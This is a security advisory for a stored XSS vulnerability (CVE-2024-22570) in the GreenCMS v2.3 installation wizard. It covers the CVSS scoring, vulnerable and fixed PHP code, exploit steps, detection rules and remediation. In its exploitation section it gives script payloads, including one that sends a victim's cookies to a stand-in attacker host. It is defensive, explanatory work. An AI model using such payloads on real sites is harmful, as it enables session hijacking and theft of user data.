CVE-2024-22570

Executive Summary

CVE-2024-22570 is a stored cross-site scripting (XSS) vulnerability in GreenCMS v2.3, specifically within the installation wizard at /install.php?m=install&c=index&a=step3. An attacker can inject arbitrary web scripts or HTML via a crafted payload during the installation process, which is then stored and executed in the context of the victim's browser when the page is accessed. This vulnerability requires user interaction (e.g., an admin visiting the installation page) and can lead to session hijacking, defacement, or redirection to malicious sites. No official patch has been released, and the vendor appears unresponsive. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for exposed instances.

Supply Chain & Package Security

GreenCMS is a PHP-based content management system. This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) and does not involve a software supply chain component. The risk is confined to the application itself.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification of content.
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction but can be exploited without authentication. The impact is limited to stored XSS, which can be used for phishing or session theft.

Deep Dive & Mechanics

The vulnerability resides in the installation wizard of GreenCMS v2.3. The step3 action of the installation controller does not properly sanitize user-supplied input before storing it in the database or rendering it in the browser. An attacker can craft a payload (e.g., <script>alert('XSS')</script>) and submit it via the installation form. This payload is then stored and executed when an administrator or any user visits the installation page.

The root cause is the lack of output encoding or input validation on the step3 parameters. The application likely uses $_POST or $_GET data directly in HTML without escaping, allowing arbitrary HTML/JavaScript injection.

Vulnerable vs. Patched Code

Vulnerable Code (GreenCMS v2.3):

// install.php (simplified)
$site_name = $_POST['site_name'];
// ... later in the view
echo "<h1>$site_name</h1>";

Patched Code (Hypothetical):

$site_name = htmlspecialchars($_POST['site_name'], ENT_QUOTES, 'UTF-8');
echo "<h1>$site_name</h1>";

No official patch exists. The fix requires proper output encoding using htmlspecialchars() or a templating engine that auto-escapes.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of GreenCMS v2.3.
• Access to the installation wizard (e.g., http://target/install.php).

Exploit Steps:

1. Navigate to http://target/install.php?m=install&c=index&a=step3.
2. In any input field (e.g., site name, admin username), inject a payload:

   <script>alert('XSS')</script>
   

3. Submit the form.
4. When an admin visits the installation page again, the script executes.

Advanced Payload:

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor web server logs for requests to /install.php with suspicious parameters.
• Look for patterns like <script, onerror, onload, or base64-encoded strings in POST data.

Honeypot:

• Deploy a fake GreenCMS instance and log all POST data to /install.php.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /install.php?m=install&c=index&a=step3 containing <script> tags.
  • Outbound connections to attacker-controlled domains from the CMS server.
• File System:
  • Modified database entries in the site_name or similar fields containing JavaScript.
• Logs:
  • Web server access logs showing POST /install.php with 200 status and unusual payloads.

Detection Engineering

YARA Rule

rule CVE_2024_22570_GreenCMS_XSS {
    meta:
        description = "Detects stored XSS payloads in GreenCMS installation logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-22570"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $xss_event = /on\w+\s*=\s*["']?[^"'\s>]+/is
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: GreenCMS Stored XSS via Install Wizard
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to GreenCMS install.php with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: "/install.php?m=install&c=index&a=step3"
        cs-uri-query|contains: 
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of HTML in site name (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-22570 GreenCMS Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/install.php"; http_uri; content:"m=install&c=index&a=step3"; http_uri; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the installation wizard after initial setup by removing or renaming install.php.
2. Apply a WAF rule to block requests containing <script> or event handlers in POST data to /install.php.
3. Restrict network access to the installation page (e.g., IP whitelist).

Long-Term Fix:

• Upgrade to a patched version if available, or manually apply input sanitization:

  $site_name = htmlspecialchars($_POST['site_name'], ENT_QUOTES, 'UTF-8');
  

• Use a Content Security Policy (CSP) header to mitigate XSS impact:

  Content-Security-Policy: default-src 'self'; script-src 'self'
  

Valters IT – Securing digital frontiers, one CVE at a time.